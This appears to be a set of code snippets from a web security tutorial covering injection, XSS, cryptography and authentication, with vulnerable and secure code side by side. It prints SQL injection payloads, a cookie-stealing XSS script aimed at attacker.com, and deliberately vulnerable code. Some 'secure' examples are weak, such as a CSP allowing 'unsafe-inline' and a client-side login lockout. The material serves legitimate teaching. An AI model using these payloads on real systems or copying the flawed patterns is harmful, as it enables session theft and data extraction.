Injection Attacks:
  - SQL Injection (SQLi)
  - Cross-Site Scripting (XSS)
  - Command Injection
  - LDAP Injection
  - XML Injection
  
Authentication Attacks:
  - Brute force attacks
  - Credential stuffing
  - Session hijacking
  - Password attacks
  
Business Logic Attacks:
  - Price manipulation
  - Workflow bypass
  - Race conditions
  - Authorization flaws
  
Infrastructure Attacks:
  - Server misconfigurations
  - Unpatched vulnerabilities
  - Insecure protocols
  - Directory traversal

// Vulnerable code
app.get('/user/profile/:userId', (req, res) => {
  const userId = req.params.userId;
  // No authorization check!
  const user = getUserData(userId);
  res.json(user);
});

// Secure version
app.get('/user/profile/:userId', authenticateUser, (req, res) => {
  const requestedUserId = req.params.userId;
  const currentUserId = req.user.id;
  
  // Check if user can access this profile
  if (requestedUserId !== currentUserId && !req.user.isAdmin) {
    return res.status(403).json({error: 'Unauthorized'});
  }
  
  const user = getUserData(requestedUserId);
  res.json(user);
});

Data in Transit:
  - Missing HTTPS/TLS
  - Weak TLS configurations
  - Certificate issues
  - Mixed content problems
  
Data at Rest:
  - Unencrypted sensitive data
  - Weak encryption algorithms
  - Poor key management
  - Default encryption keys
  
Implementation Flaws:
  - Using deprecated algorithms (MD5, SHA1)
  - Hardcoded cryptographic keys
  - Weak random number generation
  - Improper certificate validation

# Secure password hashing with bcrypt
import bcrypt

def hash_password(password):
    # Generate salt and hash password
    salt = bcrypt.gensalt(rounds=12)
    hashed = bcrypt.hashpw(password.encode('utf-8'), salt)
    return hashed

def verify_password(password, hashed):
    return bcrypt.checkpw(password.encode('utf-8'), hashed)

# Secure data encryption with AES
from cryptography.fernet import Fernet

def encrypt_sensitive_data(data):
    # Generate key (store securely!)
    key = Fernet.generate_key()
    cipher_suite = Fernet(key)
    
    # Encrypt data
    encrypted_data = cipher_suite.encrypt(data.encode())
    return encrypted_data, key

def decrypt_sensitive_data(encrypted_data, key):
    cipher_suite = Fernet(key)
    decrypted_data = cipher_suite.decrypt(encrypted_data)
    return decrypted_data.decode()

Classic SQL Injection:
  - Union-based attacks
  - Error-based attacks
  - Boolean-based blind
  - Time-based blind
  
Second-Order Injection:
  - Stored malicious input
  - Executed later in different context
  - Harder to detect and prevent
  
Advanced Techniques:
  - Filter bypass methods
  - WAF evasion techniques
  - Database-specific attacks
  - Out-of-band attacks

-- Original query
SELECT * FROM users WHERE username = '$username' AND password = '$password'

-- Malicious input: username = admin' --
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'

-- Result: Password check bypassed!

-- Data extraction attack: username = ' UNION SELECT table_name,null FROM information_schema.tables --
SELECT * FROM users WHERE username = '' UNION SELECT table_name,null FROM information_schema.tables --' AND password = 'x'

# Vulnerable code (DON'T DO THIS)
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)

# Secure code with parameterized queries
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, hashed_password))

-- Secure stored procedure
CREATE PROCEDURE GetUserByCredentials
    @Username NVARCHAR(50),
    @Password NVARCHAR(100)
AS
BEGIN
    SELECT * FROM Users 
    WHERE Username = @Username AND Password = @Password
END

import re

def validate_input(user_input, input_type):
    if input_type == 'username':
        # Allow only alphanumeric and underscore
        if re.match(r'^[a-zA-Z0-9_]{3,20}$', user_input):
            return user_input
        else:
            raise ValueError("Invalid username format")
    
    elif input_type == 'email':
        if re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', user_input):
            return user_input
        else:
            raise ValueError("Invalid email format")
    
    # Add more validation rules as needed
    return None

-- Create limited database user
CREATE USER 'webapp_user'@'localhost' IDENTIFIED BY 'strong_password';

-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON webapp.users TO 'webapp_user'@'localhost';
GRANT SELECT ON webapp.products TO 'webapp_user'@'localhost';

-- No admin privileges!

Stored XSS (Persistent):
  - Script stored on server
  - Executed for every user
  - Most dangerous type
  - Example: Malicious comments
  
Reflected XSS (Non-Persistent):
  - Script in request parameters
  - Reflected in response
  - Requires social engineering
  - Example: Search results
  
DOM-based XSS:
  - Client-side script vulnerability
  - JavaScript manipulates DOM
  - No server involvement
  - Example: URL fragment processing

<!-- Stored XSS in comment system -->
<script>
  // Steal session cookies
  document.location='http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

<!-- Reflected XSS in search -->
<p>Search results for: <script>alert('XSS')</script></p>

<!-- DOM-based XSS -->
<script>
  var search = location.search.substring(1);
  document.write("You searched for: " + search);
</script>
<!-- URL: page.html?q=<script>alert('XSS')</script> -->

// HTML entity encoding
function htmlEncode(str) {
  return str.replace(/[&<>"']/g, function(match) {
    const entities = {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#x27;'
    };
    return entities[match];
  });
}

// Context-aware encoding
function encodeForContext(data, context) {
  switch(context) {
    case 'html':
      return htmlEncode(data);
    case 'javascript':
      return data.replace(/[\\'"]/g, '\\$&');
    case 'css':
      return data.replace(/[^a-zA-Z0-9-]/g, '\\$&');
    case 'url':
      return encodeURIComponent(data);
    default:
      return htmlEncode(data);
  }
}

<!-- Strict CSP header -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline'; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data:; 
               connect-src 'self';">

import html
from urllib.parse import quote

def secure_input_handling(user_input, context='html'):
    # Validate input length
    if len(user_input) > 1000:
        raise ValueError("Input too long")
    
    # Context-specific sanitization
    if context == 'html':
        return html.escape(user_input)
    elif context == 'url':
        return quote(user_input)
    elif context == 'javascript':
        # Remove potentially dangerous characters
        safe_chars = re.sub(r'[<>"\';]', '', user_input)
        return safe_chars
    
    return html.escape(user_input)  # Default to HTML escaping

// Safe DOM manipulation
const safeDiv = document.createElement('div');
safeDiv.textContent = userInput;  // Safe - no HTML parsing
document.body.appendChild(safeDiv);

// Avoid innerHTML with user data
// element.innerHTML = userInput;  // DANGEROUS!

// Use textContent or innerText instead
element.textContent = userInput;  // SAFE

Weak Password Policies:
  - No complexity requirements
  - No length requirements  
  - Common password acceptance
  - No password rotation
  
Session Management Flaws:
  - Predictable session IDs
  - Session fixation vulnerabilities
  - No session timeout
  - Insecure session storage
  
Multi-Factor Authentication:
  - Not implemented
  - Bypassable implementation
  - Weak second factors
  - Social engineering susceptible

import secrets
import hashlib
import time
from datetime import datetime, timedelta

class SecureAuthenticator:
    def __init__(self):
        self.max_login_attempts = 5
        self.lockout_duration = 300  # 5 minutes
        self.session_timeout = 3600   # 1 hour
        
    def generate_secure_session_id(self):
        # Use cryptographically secure random generator
        return secrets.token_urlsafe(32)
    
    def hash_password(self, password, salt=None):
        if salt is None:
            salt = secrets.token_hex(16)
        
        # Use PBKDF2 with high iteration count
        key = hashlib.pbkdf2_hmac('sha256', 
                                password.encode('utf-8'), 
                                salt.encode('utf-8'), 
                                100000)  # 100k iterations
        
        return salt + key.hex()
    
    def verify_password(self, password, stored_hash):
        salt = stored_hash[:32]  # First 32 chars are salt
        stored_key = stored_hash[32:]
        
        # Hash provided password with same salt
        key = hashlib.pbkdf2_hmac('sha256',
                                password.encode('utf-8'),
                                salt.encode('utf-8'),
                                100000)
        
        return key.hex() == stored_key
    
    def create_session(self, user_id):
        session_id = self.generate_secure_session_id()
        expires_at = datetime.utcnow() + timedelta(seconds=self.session_timeout)
        
        # Store session in secure storage (Redis, database, etc.)
        session_data = {
            'user_id': user_id,
            'created_at': datetime.utcnow(),
            'expires_at': expires_at,
            'ip_address': self.get_client_ip(),
            'user_agent': self.get_user_agent()
        }
        
        self.store_session(session_id, session_data)
        return session_id

# Flask session configuration
app.config.update(
    SECRET_KEY=os.urandom(24),  # Random secret key
    SESSION_COOKIE_SECURE=True,  # HTTPS only
    SESSION_COOKIE_HTTPONLY=True,  # No JavaScript access
    SESSION_COOKIE_SAMESITE='Lax',  # CSRF protection
    PERMANENT_SESSION_LIFETIME=timedelta(hours=1)  # 1 hour timeout
)

# Django session settings
SESSION_COOKIE_AGE = 3600  # 1 hour
SESSION_COOKIE_SECURE = True  # HTTPS only
SESSION_COOKIE_HTTPONLY = True  # No JavaScript access
SESSION_COOKIE_SAMESITE = 'Lax'  # CSRF protection
SESSION_EXPIRE_AT_BROWSER_CLOSE = True

import pyotp
import qrcode

class MFAManager:
    def __init__(self):
        self.app_name = "SecureApp"
        
    def generate_secret_key(self, user_email):
        # Generate random secret for TOTP
        secret = pyotp.random_base32()
        
        # Create provisioning URI
        totp_uri = pyotp.totp.TOTP(secret).provisioning_uri(
            name=user_email,
            issuer_name=self.app_name
        )
        
        # Generate QR code
        qr = qrcode.QRCode(version=1, box_size=10, border=5)
        qr.add_data(totp_uri)
        qr.make(fit=True)
        
        return secret, qr
    
    def verify_totp_token(self, secret, token):
        totp = pyotp.TOTP(secret)
        # Allow 30-second window for clock drift
        return totp.verify(token, valid_window=1)
    
    def generate_backup_codes(self, count=10):
        # Generate single-use backup codes
        codes = []
        for _ in range(count):
            code = secrets.token_hex(4).upper()
            codes.append(code)
        return codes

// Client-side login security
class LoginSecurity {
    constructor() {
        this.maxAttempts = 5;
        this.lockoutTime = 300000; // 5 minutes
        this.attempts = this.getStoredAttempts();
    }
    
    checkLoginAttempts() {
        if (this.attempts >= this.maxAttempts) {
            const lockoutEnd = localStorage.getItem('lockoutEnd');
            if (lockoutEnd && new Date() < new Date(lockoutEnd)) {
                throw new Error('Account temporarily locked. Try again later.');
            } else {
                // Reset attempts after lockout period
                this.resetAttempts();
            }
        }
    }
    
    recordFailedAttempt() {
        this.attempts++;
        localStorage.setItem('loginAttempts', this.attempts.toString());
        
        if (this.attempts >= this.maxAttempts) {
            const lockoutEnd = new Date(Date.now() + this.lockoutTime);
            localStorage.setItem('lockoutEnd', lockoutEnd.toISOString());
        }
    }
    
    resetAttempts() {
        this.attempts = 0;
        localStorage.removeItem('loginAttempts');
        localStorage.removeItem('lockoutEnd');
    }
}